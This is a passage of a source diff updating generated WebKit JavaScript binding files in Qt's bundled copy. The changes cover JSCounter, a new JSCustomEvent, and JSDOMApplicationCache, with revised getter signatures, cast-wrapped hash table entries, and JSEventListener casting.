+JSC::JSValue jsCoordinatesSpeed(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCounter.cpp b/src/3rdparty/webkit/WebCore/generated/JSCounter.cpp
index 7c22959..8aa34b2 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCounter.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCounter.cpp
@@ -36,10 +36,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSCounter);
 
 static const HashTableValue JSCounterTableValues[5] =
 {
-    { "identifier", DontDelete|ReadOnly, (intptr_t)jsCounterIdentifier, (intptr_t)0 },
-    { "listStyle", DontDelete|ReadOnly, (intptr_t)jsCounterListStyle, (intptr_t)0 },
-    { "separator", DontDelete|ReadOnly, (intptr_t)jsCounterSeparator, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCounterConstructor, (intptr_t)0 },
+    { "identifier", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCounterIdentifier), (intptr_t)0 },
+    { "listStyle", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCounterListStyle), (intptr_t)0 },
+    { "separator", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCounterSeparator), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCounterConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -78,7 +78,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -146,33 +146,36 @@ bool JSCounter::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prop
     return getStaticValueDescriptor<JSCounter, Base>(exec, &JSCounterTable, this, propertyName, descriptor);
 }
 
-JSValue jsCounterIdentifier(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCounterIdentifier(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCounter* castedThis = static_cast<JSCounter*>(asObject(slot.slotBase()));
+    JSCounter* castedThis = static_cast<JSCounter*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Counter* imp = static_cast<Counter*>(castedThis->impl());
-    return jsString(exec, imp->identifier());
+    JSValue result = jsString(exec, imp->identifier());
+    return result;
 }
 
-JSValue jsCounterListStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCounterListStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCounter* castedThis = static_cast<JSCounter*>(asObject(slot.slotBase()));
+    JSCounter* castedThis = static_cast<JSCounter*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Counter* imp = static_cast<Counter*>(castedThis->impl());
-    return jsString(exec, imp->listStyle());
+    JSValue result = jsString(exec, imp->listStyle());
+    return result;
 }
 
-JSValue jsCounterSeparator(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCounterSeparator(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCounter* castedThis = static_cast<JSCounter*>(asObject(slot.slotBase()));
+    JSCounter* castedThis = static_cast<JSCounter*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Counter* imp = static_cast<Counter*>(castedThis->impl());
-    return jsString(exec, imp->separator());
+    JSValue result = jsString(exec, imp->separator());
+    return result;
 }
 
-JSValue jsCounterConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCounterConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCounter* domObject = static_cast<JSCounter*>(asObject(slot.slotBase()));
+    JSCounter* domObject = static_cast<JSCounter*>(asObject(slotBase));
     return JSCounter::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCounter::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCounter.h b/src/3rdparty/webkit/WebCore/generated/JSCounter.h
index 9827a48..d638684 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCounter.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCounter.h
@@ -21,7 +21,6 @@
 #ifndef JSCounter_h
 #define JSCounter_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -66,7 +65,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCounterPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -75,10 +74,10 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCounterIdentifier(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCounterListStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCounterSeparator(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCounterConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCounterIdentifier(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCounterListStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCounterSeparator(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCounterConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCustomEvent.cpp b/src/3rdparty/webkit/WebCore/generated/JSCustomEvent.cpp
new file mode 100644
index 0000000..97b6b49
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSCustomEvent.cpp
@@ -0,0 +1,187 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+#include "JSCustomEvent.h"
+
+#include "CustomEvent.h"
+#include <runtime/Error.h>
+#include <wtf/GetPtr.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+ASSERT_CLASS_FITS_IN_CELL(JSCustomEvent);
+
+/* Hash table */
+
+static const HashTableValue JSCustomEventTableValues[3] =
+{
+    { "detail", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCustomEventDetail), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCustomEventConstructor), (intptr_t)0 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSCustomEventTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 1, JSCustomEventTableValues, 0 };
+#else
+    { 4, 3, JSCustomEventTableValues, 0 };
+#endif
+
+/* Hash table for constructor */
+
+static const HashTableValue JSCustomEventConstructorTableValues[1] =
+{
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSCustomEventConstructorTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSCustomEventConstructorTableValues, 0 };
+#else
+    { 1, 0, JSCustomEventConstructorTableValues, 0 };
+#endif
+
+class JSCustomEventConstructor : public DOMConstructorObject {
+public:
+    JSCustomEventConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+        : DOMConstructorObject(JSCustomEventConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+    {
+        putDirect(exec->propertyNames().prototype, JSCustomEventPrototype::self(exec, globalObject), None);
+    }
+    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+    static const ClassInfo s_info;
+
+    static PassRefPtr<Structure> createStructure(JSValue proto) 
+    { 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
+    }
+    
+protected:
+    static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | DOMConstructorObject::StructureFlags;
+};
+
+const ClassInfo JSCustomEventConstructor::s_info = { "CustomEventConstructor", 0, &JSCustomEventConstructorTable, 0 };
+
+bool JSCustomEventConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSCustomEventConstructor, DOMObject>(exec, &JSCustomEventConstructorTable, this, propertyName, slot);
+}
+
+bool JSCustomEventConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSCustomEventConstructor, DOMObject>(exec, &JSCustomEventConstructorTable, this, propertyName, descriptor);
+}
+
+/* Hash table for prototype */
+
+static const HashTableValue JSCustomEventPrototypeTableValues[2] =
+{
+    { "initCustomEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCustomEventPrototypeFunctionInitCustomEvent), (intptr_t)4 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSCustomEventPrototypeTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSCustomEventPrototypeTableValues, 0 };
+#else
+    { 2, 1, JSCustomEventPrototypeTableValues, 0 };
+#endif
+
+const ClassInfo JSCustomEventPrototype::s_info = { "CustomEventPrototype", 0, &JSCustomEventPrototypeTable, 0 };
+
+JSObject* JSCustomEventPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMPrototype<JSCustomEvent>(exec, globalObject);
+}
+
+bool JSCustomEventPrototype::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticFunctionSlot<JSObject>(exec, &JSCustomEventPrototypeTable, this, propertyName, slot);
+}
+
+bool JSCustomEventPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticFunctionDescriptor<JSObject>(exec, &JSCustomEventPrototypeTable, this, propertyName, descriptor);
+}
+
+const ClassInfo JSCustomEvent::s_info = { "CustomEvent", &JSEvent::s_info, &JSCustomEventTable, 0 };
+
+JSCustomEvent::JSCustomEvent(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CustomEvent> impl)
+    : JSEvent(structure, globalObject, impl)
+{
+}
+
+JSObject* JSCustomEvent::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return new (exec) JSCustomEventPrototype(JSCustomEventPrototype::createStructure(JSEventPrototype::self(exec, globalObject)));
+}
+
+bool JSCustomEvent::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSCustomEvent, Base>(exec, &JSCustomEventTable, this, propertyName, slot);
+}
+
+bool JSCustomEvent::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSCustomEvent, Base>(exec, &JSCustomEventTable, this, propertyName, descriptor);
+}
+
+JSValue jsCustomEventDetail(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSCustomEvent* castedThis = static_cast<JSCustomEvent*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    CustomEvent* imp = static_cast<CustomEvent*>(castedThis->impl());
+    JSValue result = imp->detail().jsValue();;
+    return result;
+}
+
+JSValue jsCustomEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSCustomEvent* domObject = static_cast<JSCustomEvent*>(asObject(slotBase));
+    return JSCustomEvent::getConstructor(exec, domObject->globalObject());
+}
+JSValue JSCustomEvent::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMConstructor<JSCustomEventConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
+}
+
+JSValue JSC_HOST_CALL jsCustomEventPrototypeFunctionInitCustomEvent(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
+{
+    UNUSED_PARAM(args);
+    if (!thisValue.inherits(&JSCustomEvent::s_info))
+        return throwError(exec, TypeError);
+    JSCustomEvent* castedThisObj = static_cast<JSCustomEvent*>(asObject(thisValue));
+    CustomEvent* imp = static_cast<CustomEvent*>(castedThisObj->impl());
+    const UString& typeArg = args.at(0).toString(exec);
+    bool canBubbleArg = args.at(1).toBoolean(exec);
+    bool cancelableArg = args.at(2).toBoolean(exec);
+    ScriptValue detailArg = args.at(3);
+
+    imp->initCustomEvent(typeArg, canBubbleArg, cancelableArg, detailArg);
+    return jsUndefined();
+}
+
+
+}
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCustomEvent.h b/src/3rdparty/webkit/WebCore/generated/JSCustomEvent.h
new file mode 100644
index 0000000..1ad0955
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSCustomEvent.h
@@ -0,0 +1,78 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef JSCustomEvent_h
+#define JSCustomEvent_h
+
+#include "JSEvent.h"
+
+namespace WebCore {
+
+class CustomEvent;
+
+class JSCustomEvent : public JSEvent {
+    typedef JSEvent Base;
+public:
+    JSCustomEvent(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CustomEvent>);
+    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+
+    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+
+class JSCustomEventPrototype : public JSC::JSObject {
+    typedef JSC::JSObject Base;
+public:
+    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+    JSCustomEventPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+// Functions
+
+JSC::JSValue JSC_HOST_CALL jsCustomEventPrototypeFunctionInitCustomEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
+// Attributes
+
+JSC::JSValue jsCustomEventDetail(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCustomEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+
+} // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.cpp
index 17a527e..fabf757 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMApplicationCache.cpp
@@ -27,8 +27,6 @@
 #include "DOMApplicationCache.h"
 #include "Event.h"
 #include "EventListener.h"
-#include "Frame.h"
-#include "JSDOMGlobalObject.h"
 #include "JSEvent.h"
 #include "JSEventListener.h"
 #include "RegisteredEventListener.h"
@@ -46,15 +44,15 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMApplicationCache);
 
 static const HashTableValue JSDOMApplicationCacheTableValues[10] =
 {
-    { "status", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheStatus, (intptr_t)0 },
-    { "onchecking", DontDelete, (intptr_t)jsDOMApplicationCacheOnchecking, (intptr_t)setJSDOMApplicationCacheOnchecking },
-    { "onerror", DontDelete, (intptr_t)jsDOMApplicationCacheOnerror, (intptr_t)setJSDOMApplicationCacheOnerror },
-    { "onnoupdate", DontDelete, (intptr_t)jsDOMApplicationCacheOnnoupdate, (intptr_t)setJSDOMApplicationCacheOnnoupdate },
-    { "ondownloading", DontDelete, (intptr_t)jsDOMApplicationCacheOndownloading, (intptr_t)setJSDOMApplicationCacheOndownloading },
-    { "onprogress", DontDelete, (intptr_t)jsDOMApplicationCacheOnprogress, (intptr_t)setJSDOMApplicationCacheOnprogress },
-    { "onupdateready", DontDelete, (intptr_t)jsDOMApplicationCacheOnupdateready, (intptr_t)setJSDOMApplicationCacheOnupdateready },
-    { "oncached", DontDelete, (intptr_t)jsDOMApplicationCacheOncached, (intptr_t)setJSDOMApplicationCacheOncached },
-    { "onobsolete", DontDelete, (intptr_t)jsDOMApplicationCacheOnobsolete, (intptr_t)setJSDOMApplicationCacheOnobsolete },
+    { "status", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheStatus), (intptr_t)0 },
+    { "onchecking", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOnchecking), (intptr_t)setJSDOMApplicationCacheOnchecking },
+    { "onerror", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOnerror), (intptr_t)setJSDOMApplicationCacheOnerror },
+    { "onnoupdate", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOnnoupdate), (intptr_t)setJSDOMApplicationCacheOnnoupdate },
+    { "ondownloading", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOndownloading), (intptr_t)setJSDOMApplicationCacheOndownloading },
+    { "onprogress", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOnprogress), (intptr_t)setJSDOMApplicationCacheOnprogress },
+    { "onupdateready", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOnupdateready), (intptr_t)setJSDOMApplicationCacheOnupdateready },
+    { "oncached", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOncached), (intptr_t)setJSDOMApplicationCacheOncached },
+    { "onobsolete", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOnobsolete), (intptr_t)setJSDOMApplicationCacheOnobsolete },
     { 0, 0, 0, 0 }
 };
 
@@ -69,17 +67,17 @@ static JSC_CONST_HASHTABLE HashTable JSDOMApplicationCacheTable =
 
 static const HashTableValue JSDOMApplicationCachePrototypeTableValues[12] =
 {
-    { "UNCACHED", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheUNCACHED, (intptr_t)0 },
-    { "IDLE", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheIDLE, (intptr_t)0 },
-    { "CHECKING", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheCHECKING, (intptr_t)0 },
-    { "DOWNLOADING", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheDOWNLOADING, (intptr_t)0 },
-    { "UPDATEREADY", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheUPDATEREADY, (intptr_t)0 },
-    { "OBSOLETE", DontDelete|ReadOnly, (intptr_t)jsDOMApplicationCacheOBSOLETE, (intptr_t)0 },
-    { "update", DontDelete|Function, (intptr_t)jsDOMApplicationCachePrototypeFunctionUpdate, (intptr_t)0 },
-    { "swapCache", DontDelete|Function, (intptr_t)jsDOMApplicationCachePrototypeFunctionSwapCache, (intptr_t)0 },
-    { "addEventListener", DontDelete|Function, (intptr_t)jsDOMApplicationCachePrototypeFunctionAddEventListener, (intptr_t)3 },
-    { "removeEventListener", DontDelete|Function, (intptr_t)jsDOMApplicationCachePrototypeFunctionRemoveEventListener, (intptr_t)3 },
-    { "dispatchEvent", DontDelete|Function, (intptr_t)jsDOMApplicationCachePrototypeFunctionDispatchEvent, (intptr_t)1 },
+    { "UNCACHED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheUNCACHED), (intptr_t)0 },
+    { "IDLE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheIDLE), (intptr_t)0 },
+    { "CHECKING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheCHECKING), (intptr_t)0 },
+    { "DOWNLOADING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheDOWNLOADING), (intptr_t)0 },
+    { "UPDATEREADY", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheUPDATEREADY), (intptr_t)0 },
+    { "OBSOLETE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMApplicationCacheOBSOLETE), (intptr_t)0 },
+    { "update", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMApplicationCachePrototypeFunctionUpdate), (intptr_t)0 },
+    { "swapCache", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMApplicationCachePrototypeFunctionSwapCache), (intptr_t)0 },
+    { "addEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMApplicationCachePrototypeFunctionAddEventListener), (intptr_t)3 },
+    { "removeEventListener", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMApplicationCachePrototypeFunctionRemoveEventListener), (intptr_t)3 },
+    { "dispatchEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMApplicationCachePrototypeFunctionDispatchEvent), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -117,14 +115,14 @@ JSDOMApplicationCache::JSDOMApplicationCache(NonNullPassRefPtr<Structure> struct
 
 JSDOMApplicationCache::~JSDOMApplicationCache()
 {
-    impl()->invalidateEventListeners();
+    impl()->invalidateJSEventListeners(this);
     forgetDOMObject(this, impl());
 }
 
 void JSDOMApplicationCache::markChildren(MarkStack& markStack)
 {
     Base::markChildren(markStack);
-    impl()->markEventListeners(markStack);
+    impl()->markJSEventListeners(markStack);
 }
 
 JSObject* JSDOMApplicationCache::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
@@ -142,106 +140,123 @@ bool JSDOMApplicationCache::getOwnPropertyDescriptor(ExecState* exec, const Iden
     return getStaticValueDescriptor<JSDOMApplicationCache, Base>(exec, &JSDOMApplicationCacheTable, this, propertyName, descriptor);
 }
 
-JSValue jsDOMApplicationCacheStatus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheStatus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
-    return jsNumber(exec, imp->status());
+    JSValue result = jsNumber(exec, imp->status());
+    return result;
 }
 
-JSValue jsDOMApplicationCacheOnchecking(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOnchecking(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->onchecking()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOnerror(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOnerror(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->onerror()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOnnoupdate(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOnnoupdate(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->onnoupdate()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOndownloading(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOndownloading(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMApplicationCache* imp = static_cast<DOMApplicationCache*>(castedThis->impl());
     if (EventListener* listener = imp->ondownloading()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMApplicationCacheOnprogress(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMApplicationCacheOnprogress(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slot.slotBase()));
+    JSDOMApplicationCache* castedThis = static_cast<JSDOMApplicationCache*>(asObject(slotBase));
